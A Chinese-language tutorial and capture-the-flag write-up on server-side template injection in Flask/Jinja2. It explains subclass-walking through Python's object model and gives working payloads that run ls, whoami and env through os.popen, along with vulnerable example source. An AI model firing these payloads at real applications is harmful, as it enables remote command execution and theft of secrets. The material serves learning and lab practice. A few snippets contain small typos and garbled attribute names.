> 文章列表 > Flask(Jinja2)服务端模板注入漏洞(SSTI)整理

Flask(Jinja2)服务端模板注入漏洞(SSTI)整理

Flask(Jinja2)服务端模板注入漏洞(SSTI)整理

整理一下Flask框架下的SSTI漏洞相关知识:

漏洞原理

Flask是一个很常用的python框架,其中存在SSTI漏洞。

SSTI,服务端模板注入,很早就知道这个东西,但没有仔细整理过,作为一种注入漏洞,简单说就是用户的说明会变成命令执行,比如{{7*7}}会变成49。在详细讲述原理之前,首先了解什么是模板,看下面代码:

templeta = "hello" + {{user,id}}
render(templeta)

这里大括号里的东西是可变的,而当用户传入某些参数时系统可能会把用户的参数当成代码执行,例如{{7*7}}在执行时就会变成49,这就存在漏洞。进一步,既然存在注入那肯定可以试着去执行系统命令,诸如{{os.system('ls')}}等等,继而引发各种问题。

当然在实际应用中会发现并不能这么简单的执行系统命令,因为jinjia做了一些限制导致我们无法轻易的使用相关语句。于是我们需要绕一点弯,这里有一个小知识:python当中所有东西都是对象,既然是对象就有对应的类,我们就可以利用相关的魔术方法,比如'abc'是一个字符串,我们就可以通过__class__魔术方法发现这个类。

{{'abc'.__class__}}

>><class 'str'>

 进一步还可以找到更多的基类:

{{'abc'.__class__.__base__}}

>><class 'Object'>

再进一步我们就可以通过__subclasses__()找到所有继承于这个基类的类: 

{{'abc'.class.base.subclasses()}}

可以看到一大堆类。之后我们只要从这一大堆类里面找到一个导入了sys模块的类,我们就可以间接调用其中的模块,帮助我们执行恶意代码,比如这样:

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}

这就是一个常见的执行了ls命令的payload,有时候也要写成jinjia2语法的形式:

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__=='catch_warnings' %}

{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }} {% endif %}

{% endfor %}

其他常用语句比如:

{{''.__class__.__mro__[-1].__subclasses__()[128].__dir__(''.__class__.__mro__[-1].__subclasses__()[128])}} 

#查看某一个类的所有方法

 复现记录

vulhub中的Flask(Jinja2) 服务端模板注入漏洞,这里直接用BUUCTF [Flask]SSTI的环境了:

进去显示Hello guest

传入/?name={{7*7}},显示Hello 49,说明存在SSTI 

看看源码:

Hello from flask import Flask, request
from jinja2 import Templateapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'guest')t = Template("Hello " + name)return t.render()if __name__ == "__main__":app.run()

 可以看到在t = Template("Hello " + name)处根据传入的信息可以进行模板注入。

payload: /?name={{''.__class__.__base__.__subclasses__()[168].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}

成功执行了ls命令:

 打印环境变量可以找到flag:

/?name={{''.__class__.__base__.__subclasses__()[168].__init__.__globals__['sys'].modules['os'].popen('env').read()}}